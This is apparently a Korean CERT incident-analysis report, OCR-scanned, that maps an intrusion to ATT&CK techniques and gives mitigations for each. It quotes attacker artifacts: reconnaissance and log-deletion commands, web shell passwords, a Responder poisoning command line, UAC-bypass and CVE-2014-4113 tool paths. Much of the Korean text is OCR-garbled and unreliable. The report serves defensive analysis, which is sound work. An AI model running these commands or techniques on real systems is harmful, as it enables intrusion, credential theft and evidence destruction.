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3. ATT&CK Matrix

Initial Access

@ Specrphishing Attachment

@ Scearphishing Link

. Exploit Public-Facing Application

@ Orive-by Compromise

Discovery

File and Directory Discovery
Browser Bookmark Discovery
System Time Discovery
Security Software Discovery
Query Registry

Process Discovery

System Owner/User Discovery

System Information Discovery

Execution

@ Command-Line Interface

@ User Execution

@ Execution through APT

@ Execution through Module Load

@ Service Execution

Persistence

@ Web Shell
@ Redundont Access

. New Service

. Registry Run Keys / Start Folder

. Windows Management Instrumentation

Lateral Movement

@ Windows Admin Shares

System Network Configuration Discovery

Account Discovery
Remote System Discovery

System Service Discovery

System Network Connections Discovery

Collection

@ Data from Local System

@ Data from Network Shared Drive

. Data Staged

Privilege Escalation

Defense Evasion

@ Exploitation for Privilege Escalation @ Masguerading

. Bypass User Account Control

@ nNew Service

Command and Control

. Standard Cryptographic Protocol

@ Multi-Stage Channels
@ Connection Proxy

@ Remote File Copy

. Custom Cryptographic Protocol

. Multilayer Encryption
. Data Enceding
@ Dot Obfuscation

@ Commonly Used Port

. Indicator Removal on Host
. File Deletion

. Software Packing

@ Redundant Access

@ Process Injection

@ Obfuscated Files or Information

Exfiltration

Data Encrypted
Data Transfer Size Limits

Data Compressed

@ stondord Application Layer Protocol

Credential Access

@ Credentials inFiles
@ LLMNRINBT-NS Poisoning

@ Frivate Key

Impact

. Data Destruction

Exfiltration Over Command and Control Channel

Exfiltration Over Alternative Protocol
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Initial Access : XX XE
Spearphishing Attachment : 0o StMHIE HE
SAXE A SEEAME HESH AnY] DY HYZ 32 oy 2|0l HFSIACE. X TIYE MoLt L8t 2t &
AN MUS ARSI ool MZ(2S FUCE HEE 2A DY @k A] AAX0] AYIEIL EX|Z|0] PHAXZSX|Q
ShlotCt,
MojLt #o 2 ULt
0:%% CISZ L5203 07| SESHAAIL. 710 MEE E5517| Qo) 0] A XIS LU 88 RSC 2 OIRZCEX| $&LC
@ 135 KB || [#4 653 ke )
MlOILta FHE
o 23: 2020';q 128 292(3), 28 9Al-2F BAIBAIZE)
O B ATH 2oy
O FER LHE(”)\H UEsSe g3
- AISZHIEC J[EEAIRZD
- AAHIZE ZH2] 2| (2A12h
- CHAZE ATHIE Z4 10 =2 0l6H(3A12D)
X FHE sl MMM SR FHLUEA'E T A5
1€ 282 (EHNtR] &0 FAI12] BEELICH
ZAFEILICEH
oS X=f
- AT O EFX| S KPEE AJAR Q)
- B2 9 QA T2 XA HEH QX|
- MEE OtYo| SYXE 2t0l5to] Mol Jhsth T A Y 22X
- UA BAM FE Al 032 Zd3t 2K
- MEO @ao| 2t o HR HESRIIOH 22|[HL THEE O SHES Edif HEmY FdE AL
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Spearphishing Link : 0| 2t AOIE 213 &l

oO— dd

WO YIS HYUBH0] g AMOIE HAS RESICE ofY AOIEN &Y ZR E2t@XM FAYo=2 Qs o4g3
Cof o=l »~ IOt Z2HXk= 0|5 28l X|@l0| Z2E Internet Explorer B2{QX|2 HLSIEE 2L5HCT
£54 7o 29
Q122 noECIAE 07|12 SYSAAL. HY BES 25317 o5 0] HAX|S U IS GSOR R EX RaLC
ergstLIt
LR

SA M= DAREC| KCP AAIZH TR, MBFIE FE, HANE B[RS HABPLE ¢ F AHoHH 2=06t0 AHANTLR2 M| MHAF 7§4017] 9i8 AtZE HAtf l=|5t2ia gLt

OlF LtEoI] HALOM EAL ALOIE 9| Oi3f AU|~E ROPRAITA HAtC] REE 2FHS HPSIAIL 22 T AN 283 F= LHFAZ| HiELCH
M AlO|EC] €8 7|58 BHSD Us 2D HEOIK # AMOIEE AW J2EE2(nternet Exploren = FHHd A& AFETLICH

d&ota WES s Z|ogLc

ZAELCH

Email:
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o
- 1 2 B2RXS2 FIHQ YHOIEE ST A HT {X
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Y3 27 502 oY AOIE H& Al BAXL YU AIYER oIt YYACE FEs= AOIER O|SE(Of
OUNTCO| AASICH S 1P CHHOIN HS Aooiat S| o) SF B2 chAeIg YTt gEEIC

9 In;;cted . MD5(IP)

YES
ATljofI}A L
Redirectz‘:’
;:‘

Infected | * |
VA

[+ ) |

— SHHIo] CIR2E (F75)
IHHIof
S M=t
- ZAIMOZ J|=X|R0| EREl Internet Explorer A2 XA
- 1 2] HERMEES FIIHQ HH0EE Sot £t HE {A
- AU HIEEZoME A2IZX] f2 ALO|EO|| Chst M2 Aot Y M
- SHA X ol AARE X 2 et

QIE|NAIGHLH= AVE]
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Exploit Public-Facing Application : 224l {E2|3{|0|4 F|U4HN o4

/1 o o a —
EHRIEIACE. SOL Injection22 2111I0III tralxr Hsts =S 7, nr%' HZC Hopgoz YHS AR50 Ao
Ciier M2ESHS =tESIQICE O HZE 229 A| |ISOIM AIZE AGHO| Jt56h cer SRXIE JHE Q0| AFZSIQICEH
Ofeff D22 MK ZAP MAASE HorMS ofgsiol WS H2CH mj SS3t AHAIZOICt
H = A AIZ
=4l 10:01:55
AR} x3| 5
A =uj! infoview,cer
AHAIZLICH,
ACIS2 ClE20| gLt
vo|2
Z|AER S0P
ZHAREHLICE
a=mal23
014-B-B2F 70341 xR
a
(&) rormunjpgasp

oS X2t
- ¢l HO|X|E &Y W sql injection HX|2 Qs AIF0 AQ XL
AATO THYHE Al 2FTY(jpg, .gif, .png ST F2E IHSStET M HOIM =RgRE TEZ 0t
- AR T ¥ S B2 052 RO=S MY ARE FRE T Y22 AF
- IY H2E AR0|MQ AIZE HHO| 8715 St== A% Ash XA

=
- 9 gishE M| (SERQIEHIRISY 28 2l BisiEd CASTLE : https://www.boho.or .kr/download/whistiCastle/castle.do)
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Execution : AlsH

User Execution : AM2XE2L XIF AlsH

HOF £Z0| £2 Jlglo] LEE HESt= S x| QUrt 0 W20 ZAKSES Amof My KA 0L 2|
LHERDL QIEE MOIER FHABIL OtMTCES AN MMStEE QEIC 0|2 o) 22X Z2 ZHoIX|o|
Y ZAJb SEE|0Ql HIElOlL; DMAMAIEIS A0 WAl BIUS HUE 2402 OISt

flo

»
o
lo
L]
o
1]
In
n

=]

0

SAtojME DREES KCP UXZH YR, UBJIE P, GANE 82T HUPYLE O F ATSH 223512 A AMTP =Ml Mu|~§ ZjH3t7] 2T AYE Aol 2l=/stain gt

0|8 RRBH0] HAIA =AF AO|E 2| Of3f MH|2=E ROIRAITAM EA] HET 2REHNE HYJAD &Y

rx
4
[
X

jofof B3 PR LAFAI7| gL
A AfolE2| ¥H 7|5 E BT UE HIp BHS0] 2 AO|EE QB R Y2 F 22 (nternet Exploren 2 FW&3HY 2E AFCSYLICH
Al&3tn XIH3H |A 7| HELICH

zaBU

o
W

Email

S M=
- HES ool XS 2olsto] MYl Jhstt IHd(exe, scr §)Y FEQ Ad 2X|
- Q24 HEOY Hd2to] 271 FL UIERIOL 22|z HLt HHEEl Ot EH S Edf Henty Hat
- 24 oMARR HENY AUl0| EOHE AL HOE MX|oto] Haft=2 g
- 2Eeto] XM F[HO| U2 ASXS(YYE, nAHR2(E S0 X&Hl 2ot s AHD
- S8 ANAHO0N QIOte|X| Qb2 T202M MX| Kot
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1

Execution through API :

APIE St MY

AN0| AMACE HAXEX|2HE YIS 8
Xt T2MAS AHsict
if ( a2 == @x9785364F )
{
v3 = *(a3 + 16);
= 9;

memset(Dst, @, @x68ui6d);
Dst[e] = 104;

Dst[15] =

LOWORD(Dst[16]) = ©;

if ( (21-»>_CreateProcessW)(@ie4,

v3, @i64, eie4, @, @, @i64, @i64, Dst, vé

do
1
¥(&Str2 + v15++);
vld++ * vl6;
2 + v15 + 3) = v17 * @9x33; // winsta@\default
}
while ( /14 < 38 );
*(&v43 )y =.@;
memset(d,h_, B ex68uisd);
Dst2] = &v43;
LODWORD(" e]) = 104;
HIDWORD(Dst[7]) =
LOWORD(Dst[8]) = @;
if ( (al->CreateProcessAsUserW)(v2e, eie4, arg_a2, eie4, eis4, @, 1e24, v22, @ied4, Ds
o
e Tzf
- SN X 9 AAIRE EHX] 23
Execution through Module Load : DLLE ZEs0{ M3

xotz x|l ofya

E= DLLIOIYZM MH[AZ

SEE0 JdHECH

o+
I = @ svchost exe < 0.01 409132 K 4659512 K 5808 Host Process for Windows Services
= [ fazkeng. exe 0T TO/720F. 3588 oy A=) o
[m7 taskeng. exe 2E24E FIESK 3164 EHE AH S HE
=7 wuauch.exe 2304 K EOZ2E 3300 Windows Lpdate
[m7 svehast.exe IBK 5.772K 5480 Host Process for Windows Services
Mame = | Description | Cormpany Mame | Fath
-onfiouration b anage D
[=]
e T2
- H_|HAL| )\E-le E;l.:| AA|2E EFX| =AM}
= S 3l =
- 69 AlAE r of B HA AT YM(AppLocker 5) HE

2
_>.‘_
ﬂHrIm
ne o
7\— |:0

-kr/previous-versions/windows/server/hh831440(v=ws.11)?redirectedfrom=MSDN)

CIE|LNAIGHLH= AVE]
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Service Execution : AMH|A AldH

Ayt

T2 EXE AHIEE DLLOIYZM MH|AZ SEE0 JdHE

Service Control Manager

2019-06-07 23 11:59:59

Service Control Manager

- AA" 279 MB|A ZX|(O|HIE ID 7045), At MH|

SLIEESI0] HIZSHe MH|A AE

CLEE
'@9% 2019-06-07 27 11:59:59
== 2019-06-07 27 11:59:58 Service Control Manager
(R I ONANT D 130UV Fuant! nr
<
O|#E 7036, Service Contrel Manager
LU
Windows Helper Management Service AH| 27 £ ME{E SO{IpELCE
o
g HeF
A AMSHOIHIE |ID 7036), 2% Z(0|HIE ID 7030)E

—

Windows Management Instrumentation

PR e =7 YIS

SA%s WMI(RIES

el =)E 0|8310] x| A|ARI HX|E 2o

37Hd | O iR 3 2=

HEEHO|X: HE..
root#SecurityCenter2 37|
Hel 2t

WQL: Select * from AntivirusProduct =¥

JATA}"

AntiVirusProduct.instanceGuid="{2FB1A3!
AntiVirusProduct.instanceGuid="{AEC846/

EF7}"

AntiVirusProduct.instanceGuid="{D68DD{

CIE|NAIGHLH= AVE]

KISA™S o
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o E YA E
(6] Command-Line Interface : 24 QIEH0O|A
SAtE T2 PHNO AdYIEE SOl 2P Mol ot WHS HAICL Ofefl= My BMZ Sl == dX
ArZEl HHOO|CY,
’Is ey
query user
AJAE A T HE S query session
net user administrator
whoami
hostname
ARSI M Er systeminfo
time /t
ver
net use
HERS S/ .
net view
ipconfig /all
arp -a
HEQIT HE &l netstat -ano | find “ESTA”
netstat -ano | find “LIST”
ping -a -n [IP]
MHIA HE Bol sc queryex [Serylce Name]
sc query [Service Name]
ZEMA HE =l tasklist /svc
s31 A fjel [.F|Ie Name]
rmdir [Directory Name]
Wi W W W
IS ZHjol 2= stol C:WWindows System32‘ inetsrviappcmd.exe list
site
ool 9 CjEEa) Me SOl dir [File or Directory Name]
dir /a /s [File or Directory Name]
oS H=f
oF FF A AL YM(AppLocker §) &

CIEILUAIGHLHS AVE]

3 A
(https://docs.microsoft.com/ko-kr/previous-versions/windows/server/hh831440(v=ws.11)?redirectedfrom=MSDN)
o= o =
KrCERT/CC

- 32 AAH XGAS0HME
- Command Line InterfaceE Edf A= HHAEL2 22 Z2MS Eoff 7|2 9l DLIEHT D
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Persistence : X|&AM 2X|

Redundant Access : &
Webshell : 24 At

CRTUES

i I |

AHIE FP ZIXZ AEFQ @ AMH0| CHsto] Z= MNAZ =E6t0| Ao HAS HUSIACE SHAPL F2
Atget @22 Redhat & WSO 22, Venus @&, Code Hunters BEOICt 20| 270I5P| 2o AFSEl HARE=
Redhat2 '1234qwer’, Venus= 'venus 2t AFRE|QACE
GIF8at € Hota§yyiir rrt vIEieAZS] Eistin Fa (Forrsiftertil
W Creat OFi: @
Two
password: submit
Uname: Windows NT DAINWEB-SVR 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) AMD64 [exploit-db.com]
ggslyﬂsgsre)n?org:p = ([j 2020-03-27 11:44:54
312.47 GB Free: 258.07 GB (
wd: [ home ]
Drives: [c][d][e]
[ Sec. Info ] [ Files ] [ Console ] [Sql] [Php1 [ Safe mode ] [ String tools ] [ Bruteforce ]
File manager
B Name
LA
localhost Windows_NT
Explorer
Command
Input Password. Datnbose
o Connection Test
URL Download
Server Infomation
the Hy
- BAR AS AE A MNE oy THY ol ol
- Y2E MY F2o| JYASS MR, £F =X asp, .cer, .html, .php S)2| TAO| YYE=X| 2LIEY
- QE‘&'EHJE%%OHH MEIA ZOI HE EX| &3 252 FI1Hez M8 HE
(Whistl CH22E F4 @ https://www.boho.or kr/download/whistICastle/whistl.do)
CIE|QIAIGHLH=AVE]
\ Xi|=o
kisha DIAOIE|UIXIZS S L, KrCERT/CC
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New Service : AMH|A MM

MB|AE 0|83t HGREE SEY F¢ MREY AOICt AYIAES I3 HHEC

= o T O
@SF 2019-06-07 2T 11:59:59 Service Co,, 7030
@EE 2019-06-07 27 11:59:59 Service Ca,,, 7045
(DES 2015-06-07 2= 12:00:00 EveniLog 8013

(DEE 2019-06-07 23 11:5025 Service Co.., 7036

QB E F045, Service Control Manager

L |qu|a||

Al M H|= B R 2 L

MH| 2= 0|2 Windows Helper Managernent Service

MH| = TR 0| 2: %SysternRoot¥wSystemn32Wsvchost. exe -k netsves
MU= 2B ALREF IS MU

M| A E S H: LS AE

MH| = A E: LocalSystern

- AlAS 20| Al MH|A SZS(OMIE 1D 7045) SLIERISI0] HIHARQI AMH|A Al

oln
J

Registry Run Keys / Start Folder : X} A&l 2|X|AEZ2| LLE A2 28102

HGREES AlF 203 F20l| Y9 F2 MR ADICE Ao At HYEC

A% ZEIUOE SES AMTE SOl Hyo|

cmd.exe /c dir "C:WUsersW [R4 E]WAppDataWRoamingWMicrosoft#wWindowsWStart Menu
WProgramsWStartup¥javaw.exe"

oS H=f
AR m20 EC ¥2 9 A% D2aMoz s=¢ maaw sugy
(C:WUsersW[SX H]wAppDataWwRoamingWMicrosoftWWindowsWStart MenuWProgramswStartup)

QIE|NAIGHLH= AVE]
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Privilege Escalation : 3t At

= O

SARtE R HEHYES FAUAFQ CVE-2014-41138 =72 HASH DS AHoI0] PSS AZSHACh 3Hx=
Xrile| E20IEHE |02 AHAst T AN AAR 2ZH C210|E0| AYIEE SABICL 583X E210|E HolN 2RE
Z0 0|52 20 Windows 2003 AMHE =2t W F2 ALEoh FOFHOl 210z FHFIC)
3770 97 catoje Z2 ) 29 AAglel 22 cajoln Z2
Z:WTools¥W2003_elevatorWWCVE-2014-4113.exe E:W...Wboard_9_filesWimage.tmp

S
(Vp]
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)
D
3
O
.
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2
*
0
-
(@]
«Q
-
Q
3
(W)
Q
@
Q
¥
<
(@)
-
(@]
wn
(@]
=
*
=
)
o
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=
wn
*
=
m
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Bypass User Account Control : AF2Xt HH HEE R3]

2283XH= UACME 2h= 2oHEl £312 0]|83t0{ UAC(User Access Control) R3IE2 A|E35IICEH

37N 917 Eatole F2 =) Ze AA™e| 22 Eajoje Z2
Z:WToolsWUACMEWLoaderW_x86.exe C:WUsersW...WAppData¥LocalWdwm.exe
Z:WToolsWUACMEWAkagi32_Enc-11-18.dll C:WUsersW...WAppData¥LocalWntuser.dat
e T2

- Hoh ¥5 Aole 2B E FUte £ ooz ofE2|30jdel 5 218 2L HE
(%SystemDrive%¥ProgramData¥MicrosoftwWindowsWWER)
GHA Z[L HOIOIE |

1E Mo

o
o BX 9 HARE EX st

CIE|NAIGHLH= AVE]
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New Service : AMH|A AN
=2 =S o1 _" C = o
MHIAE 0|8510{ it AR AYIREE= SYSTEM @ehE IHTICt
@2E 2013-06-07 27 11:58:59 Service Co.. 7030
@DFE 2019-06-07 2T 11:58:5 Service Co... 045
DT 2019-06-07 2= 12:00:00 EventLog 6013
DFE 2019-06-07 2T 11:57:25 Service Co,.. 0%

QB E 7045, Senvice Control Manager

2ot |3y |

Al M 2T R LT

MH|== 0| &: Windows Helper Management Senvice

AH|= THE 0|8

M|~ 2=

=

SeSysternRoot¥WSystern 32#svchost.exe -k netswcs

ABAL DS M|~

MH|2 AR

RE S AE

M=

AHE: LocalSystermn

thg M2

- A|A” 279] A MH|A S2Z(0HIE ID 7045) ZLIERISI0] HIY QI MH|A AlH
- administrator H’H H|2td3t g 22|X}F 22 HAFE UAC(User Access Control) st

>,
KISA'S

OII0IE]

QX

=
S

[0
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Defense Evasion : 8/0{ 3|I]

Masquerading : 2I%

SAXE AR EXHE LEAP|X| Q2| s AHIACSE AAH O|2 OrY, Abt T2, T HH0|E mY,
IEQ J|2 D228l Sticky Notes S92 Q|&SIQUCEH
2% opyHE H

C:WWindowsWSysNativeWperfcon.dat

C:¥WWindowsWSystem32Wperfcon.dat
A|AHE C:WWindowsWSysNativeWperf91nc.inf

ory 23 C:¥WWindowsWSystem32W¥Wperf91nc.inf

C:¥WWindowsWSysNativeWnwsapagentmonsvc.dll

C:WWindowsWSystem32¥Wnwsapagentmonsvc.dll

C:WUsersW[SX H]wAppDataWwRoamingWMicrosoftWwWindowsWStart Menu

ZH} mhel o|At
M I 213 WProgramswsStartupWjavaw.exe

2= YCo|E

mh o

C:WWindowsWSoftwareDistribution¥WDownloadWBIT[==Xt4~574].tmp

Themida T{Z
D2

Z:WToolsWinstaller-10-11%WNew-2020-01-29-Installer#install-themida-64.exe

Z:WToolsWaDlIMeloadTool1.0¥Wdllmenloadtool64.exe

e HE |z@d|mesa]az |
O HEA: 6,1,6701,17403
=k Sticky Motes

Sticky Notes A=A
EngDH Q_Pél- JIEHHA BE

=0/ 2

- OPYTE MMOl| XIE ofREl= HR0| MAEE Y DUER
- C:WWindowsWSystem32W

- C:WWindowsWSysNativeW

C:WWindowsWSoftwareDistributionWDownload W

C:WUsersW[SX H]WAppDataWRoamingWMicrosoftWWindowsWStart MenuWProgramsWStartupw

CIE|NAIGHLH= AVE]
s, KTCERT/CC
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Indicator Removal on Host : SAE X|E H|H

El= SeI=202Ms FIPN0| D WEK| AdHst?| Qs Prefetch2t H|O|E{E A=C}. 0| H|0|E= ST Z 249
a8 0|350| V|ZE|shl, 3HX=E 24 %*3H§ Qs O] CIOIEE AtM|st2{D A|E3SIYCt fIMHOAME 22 2
£2|7| 2 =

=) T

- [19/Feb/2020:19:47:09 +0900]
- [19/Feb/2020:21:00:14 +0900]
- [19/Feb/2020:21:00:15 +0900]
- [19/Feb/2020:21:00:16 +0900]

- [19/Feb/2020:22:12:41 +0900] "

19/Feb/2020:22:12:42 +0900]

[

- [19/Feb/2020:22:12:41 +0900]
=l
[19/Feb/2020 22:12:43 +0900]

"GET /reportPDF/ /202002‘]9/CheckBL 1582109224216pdf HTTP/1.1" 200 107754

"GET /reportPDF/ /20200219/CheckBL_1582109224216.pdf HTTP/1.1" 200 107754
"GET / HTTP/1.1™ 302 213

"GET /https://
"GET /https:/;

_ . HTTP/1.1" 302 276

23 MNZ Qlgt S

GET / HTTP/1.1" 200 511

"GET /main HTTP/1.1" 200 26282
"GET /main.do HTTP/1.1" 200 26282
"GET /?lang=en HTTP/1 1" 200 511

S H2f
- HoAtD 24 Al 2E2EE 2O0ME 20, g 23 )0 CHsto F2|=Ql el &A%Y 2D
[3] File Deletion : IFY AbK|
SANE APIE F5 AW X E sH Xp2F AX 2152 EEAIZ|D, Aol EXME X2 s 24F OS2
AKX SFACH
o A le] HHOf

del C:WWindowsWPrefetchW*.pf
del C:WWindowsWSoftwareDistribution¥WDownloadWlogsW*.txt
del C:#WWindowsWSoftwareDistribution¥WDownload¥logs¥*.log
rmdir C:WWindowsWSoftwareDistributionWDownloadWlogs
del C:WUsersWTHORWAppDataWwRoamingWMicrosoftwWWindowsWStart Menu
WProgramswStartupwOfficeC2RUpdate.Ink

the Ha
- A Solot Al PO| AMEI=X| DLIEY
- w9 MAZE SR B
' OIE|LNAIOHTH=AVE]
27 OIZ0IF|LIXISS B3
KISAS LA LSS
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Software Packing : AZEQ|0{ mj2

ZAXP= WAl EIX|Z B|MSE| I8 Themida'2bs A8 TH2 Z2I2HS ALEst0] ANTCE ThABIYICE Lot
US TH2AL|X| of2 O ACO| WA HO|E AFEE[ACE

B Exeinfo PE - ver0.0.57 by ASL- 1054+82 sign 2019.07.23

| File: | dwm.exe

Entry Paint: 00322000 oo EP Section :  bhwmtetf
& File Offset: 0012AE00 FirstBytes : 83.EC.04.50.52
Q‘ Linker Info : 14,11 SubSystem : Windows GUL

File Size : 00128000h @ Overlay:  nNO 00000000

Image is 32bit executable RES/OVL:0 /0% 2010

emida B Winlicense 2.0 - 2.4.6 - struct{(glaRide ke s S RIS \.-'J
Lamer Info - Hel|:| Hint - Unpack infa ]

Biggest sec. 5, try Olly Debugger v2 and script - www.ollydbg.de - Tu

370 9 calojl2 Az mmp R AAHO| 2 calojH Az

Z:\WToolsinstaller-10-11W

) C:WWINDOWSWSoftwareDistributionWDownload¥BIT3001.tmp
New-2020-071-2Hnstallerwinstall-themida-x86.exe

CIE|NAIGHLH= AVE]
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OLYTE FY IEA2 ASF Y MHO CHoto) B8 UMAS RSP Qo WAS HUSHUCL AR F2
A28t fIde Redhat fAM, WSO €4 Venus A Code Hunters {4o|Ct Mol 239Q1812| Qs ArEE
IHARQIE = Redhat2 '1234qwer’, Venuse 'venus'?t AFRE|QUCE

GIF8at € Hota§yyiir rrt vIEieAZS] Eistin Fa (Forrsiftertil
W Creat OFie New
Hame
Two
password: submit
Uname: Windows NT DAINWEB-SVR 6.1 build 7601 (Windows Server 2008 R2 Standard Edition Service Pack 1) AMD64 [exploit-db.com]
0 ( SYSTEM ) Group: 0 ( ?)
5.5.10 Safe mode: [ph q 2020-03-27 11:44:54
312.47 GB Free: 258.07 GB (!
- home
Drives: [c][d][e] ! :
[ Sec. Info ] [ Files ] [ Console ] [sqll [Php] [ Safe mode ] [ String tools ] [ Bruteforce |
File manager
B Name
LIS
localhost Windows_NT
Explorer
Command
Input Password. Datnbose
OK Connection Test
URL Download
Server Infomation
=)
e T=f

- DA AE AT YA YNE oY THY sol U FY
- U2C oY A=200| JAFSE MAHEL, EF =X asp, .cer, .html, php §)2| TAO| HHYEl=X ZLIE
- PHEQIEITIS O MBIA Fol A EX| &7 RS FIINCE A HHE

(Whistl CH2ZE A @ https://www.boho.or.kr/download/whistICastle/whistl.do)

CIE|NAIGHLH= AVE]
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[6] Process Injection : EX ITRZAMA0 IE Al

1]

SAXE IS MHIAQL w3sve Z2MAQ| H22]0 APIEE FUSHH MHO|M ZARSHE SHHO|X|el 2
L

312 JbEHCL 01 2 cidol S BWoX A0l H4Y A o¥Tc 9mX2 o|EARICL

queryex w3svc

. Get pid(w3svc)

Inject to Svchost.exe(w3svc)

’ 4 >

+

w3svc AH|A =49l HEof

cmd.exe /c "sc query w3svc ) "%s" 2)&1" edg173F.tmp
cmd.exe /c "sc queryex w3svc ) "%s" 2)&1" edg173F.tmp

CIE|NAIGHLH= AVE]

KrceRr/cc




ret
H
re
mn
=
r
oot
rio

23

Obfuscated Files or Information : OIY tt= ME LES

AZKO| AHYIEL AAH Ao YZBpE MU Exftct,

& pe

mekp HEYE MO 27Vv) ESLH)

P Egrads?

Fe-F FUE

?Evojd[= 77%?5_&*” BVEeA?? EN19 A A Z5HNn 7 |B7<O 17 G2 AgATR?E
PETA?=N%G~hIT# D > brgblqiE R F16E TP (H 222 R Sa%~18TZ_b> <M?kN%3~ 5B
E{e?#Nx??H U7 Strzee? NI-lerGOaT?kQEH1(1z23B)  WBhp?EBEze’ 77800

FEUA

16P? (P EIEfd#i 2 Lb 43 12 5E 7 ~ Willzgzaa 2 [P 6y/NI&P FH7hmo R @0 - 7k B T?7-Fagk9?0 B 22 15l Eb# > 202

u????? ??E?LENQ;?*Z‘é‘.prOw?'fE’E?W-—o‘?%Eﬂ%?ﬂ MR A %7 2 S 237

B -e?2E 22401 74202 G R IRK 2= HLE B SRR > HQIE? 222 & [ Lo 2v> T ) e BE R mar5?77?

nkN?V?PI OEBAEbnizoxg?= o/ | L@ 272y e 2ale LA Adge-E2Emn1 7@ iit@i1wWit)i/Be| R ne?l) & 22 om Ao 7 2l g or B-
%78 1L R JP

SREIFURL Y 7R 7EE R ONRER #2277 Bvdox < W 72 A BsCPL) 177-*"woj bt r-c 7 AP FIA ook P ar BRI 2B 7 772 B2+ 774 Cal 2R 1 d#2Q
Tu27pgE15

dTA 9[2Eq_IPEc /X2 2f 4! FE_BMe = 22 DK 4= 228 f{/|TlymVEl 6 xB A1 EE BB R -

% SEl+ 72 WXL

*|?k??3?ﬁ??E?

Tim0b<_&EHA? YEBZF2d7 M- 700519772772x?hu Al L7>Sn | ? M 75 2BR27T-89=2h—X & 7 | EI? A D EVE 06U celfE A5
Dx|O1?Taavﬁ'FEfgﬁﬁ'?ﬁ-'-:'”'J'?)"'Px">uﬁ7"'JHE¢§;7Lf7 =?$b~ROU?H SFQMEU??FT?0P?217,6+7
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Credential Access : X2 =94
Credentials in Files : HFU0| XEE AIAR AY HE EHF
S8 Y AAE Foh £ DB SO M MAEONYo HEC=Z L-EFE =10l FEE EFstn DB
2ot mo|X|e] AE FEE +HSIUCE AW YEE TS = H|UHDO| IHS Tofsto Lo
0|23512| = 3StUCH
A9 AAHo| 22 Calojn 22w 370l 917 caloje Pz
. Z:WObjectWWeb_HTTPWDownloadW [ZFE A|AH H]
D:wWhtdocsWwdbadminWdb_sql.php . - ©
[SYSTEM] [C7348219B03D9BOE] ¥Wdb_sql.php
. Z:WODbjectWWeb_HTTPWDownloadW [ZE A|AE! H]
D:W...WincludeWdbconn.asp
[NETWORK SERVICE] [27559E258E485B0A] ¥Wdbconn.asp
Z:#W0bjectWWeb_HTTPWDownloadW [ZE A|AR! H]
D:WsetupWOOA FAHLEWOOMH M txt
[SYSTEM][C7348219B03D9BOE]WO000 AMH AH txt
D:WserverWTomcat Z:WObjectWWeb_HTTPWDownloadW[2Q A|AE 0]
8.5_Agent00Wconf¥#server.xml [SYSTEM][C7348219B03D9BOE]Wserver.xml
g Tef
- Ee wuwst ByE mAe owst
- MEIA AFEL HPHzE 2F o2 47 EL
- 2|9 2AM Hot £2M DRM(Digital Rights Management) =@ HE
Private Key : JHQI3| & Q=AM &3
4 MO Z M2 SSL ABME EFct= Aot 2Hol=|qUct.
A NAHe| 22 calojs Z2  mmp 370l 917 caloe Pz
Z:WObjectWwWeb_HTTPWDownloadW [ZIE A|AR! H]
D:¥serverWTomcat 8.5_AgentOOWcert ,
[SYSTEM][C7348219B03D9BOE]Wcert.zip
g Tef
- QIEA mUo| Ex{ot= ClalE2|0 tiet 2 ZLIEE
2 =S5O0 ' CIE|EIGHCHE=2"E]
kisha o QIE|UINS - KrCERT/CC
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LLMNR/NBT-NS Poisoning and Relay

LLMNR2Z} NBT-NS&= Z& 2~F=
AtgXtel 0|82t H|ZHZ(NTLM SHANE 7@"”
Responder2f= £ ARZ5I0] name servicesS

MEdol Y AAHSR| 5

£ AgEst=H =80| tl= #gR40It}. 0| 08510
7|=0] LLMNR/NBT-NS PoisoningO|LC}.

23 HEQA M| credential HE2t hash HEE 2XISIQCt

DA

"~ Responder.conf.ixt x|

.}¥é.;.6h..m"""...“ o e e e e e T e e e e e

NBT-N8. LLMNR & MDNE Windows o
2 SMTP = On
Author: Laurent Gaffie (laurent.gaffieB@gmail.com? '_ ;:ﬁ ; Z:
To kill this script hit CRIL-C :
.2 HTTP3 = On
13 DN3 = On
4 LDAP = On

i mandatory option is missing

python Responder.exe -1 ethB -w -r -f

¢ Custom challenge

7 Challenge = 1122334455667768

; SQ0Lite Datebase file
1 ; Delete this file to re-capture previously captured hashes
n nunher and exit 71 Datebase = Responder.db
and exit A
n allows you to see NBI-NS,

; Default log file
without responding.

< Sessionloy = Responder-Session. log

Local IP to use «[imnc[3im{only for OSK>+[Om

& : Poisoners log
-e 10.0.8.22, —externalip=18.08.8.22

Responder Session Log ¥%

03/17/2020 08:49:10 AM - [Proxy-Auth] Sending NTLM authentication request to [Target IP]
03/17/2020 08:49:10 AM - [Proxy-Auth] NTLMv2 Client : [Target IP]
03/17/2020 08:49:10 AM - [Proxy-Auth] NTLMv2 Username : RTNBO88W [RA H]
03/17/2020 08:49:10 AM - [Proxy-Auth] NTLMv2 Hash : [§# H]::RTNB088:11223344556

32{2t2| Responder Session Log A 32

cmd.exe /c "del C:WWindowsWSoftwareDistribution¥WDownload¥logs+.txt
cmd.exe /c "del C:WWindowsWSoftwareDistributionDownload¥logs+.log
cmd.exe /c "rmdir C:WWindowsWSoftwareDistribution¥WDownload¥logs

- LLMNR / NBT-NS Spooping EfX|E 3 AlX|
- 2z O|HIE 21 ID 4697, 7045 2L|E{Y
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Discovery : EtAH

File and Directory Discovery : IOt ol ZC ME EMM

IR 5 o FEH0|D M3 I 9l o) He SIS ofs 24 T2 2ol ‘EverythingS AHZSIAC
2 Fdo]
Everything.exe -db [tmp file]
Everything.exe - exit
File Edit Wiew Search Bookmarks Tools Help
|
MName ’ Path Size Date Modified [
$dpx$.tmp CaWindowswSoftwareDistribution#Downlo... 2020-01-20 27F %40 L
| $dpxs tmp C#Windows#SoftwareDistributionDownlo... 2020-01-20 27 9:40
$PatchCachE~$ C-¥windowsWinstaller 2020-01-17 @ %41
thg M2
- 393 LHg0| Tt T U ClAER|s 43
- J|g 2AM Hot £2M DRM(Digital Rights Management) £@! HE

CIE| N AIGHLH= AVE]
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Browser Bookmark Discovery : B2tRX £20t3 9l ML S|AEZ| ErM

27

TR Hetexiol Z30| 9 72 HEE ATeb| Y6h NirSoft #olM RZsHs ‘Browsing History View 2=
My ZRose Aot
43 Yo

BrowsingHistoryView.exe /scomma [LogFile] /sort ~2 /VisitTimeFilterType 1

File  Edit View Options Help ‘
B=H" RE] S M W Advanced Options @
URL
Filter by visit date ftime: ILoad history items from the last xx days VJ 10
From: 2020-06-02 2H 12595 To 27 12:59
\Weh Browsers
[#] Internet Explorer [7]chrome [¥]Firefox
[#] Internet Explorer 10 [7] chrome Canary [¥] SeaMonkey
[¥] safari [¥] opera
Load history from..
|Load histary from the current running system (Allusers) =

- BROX| S OIS FAH

4o

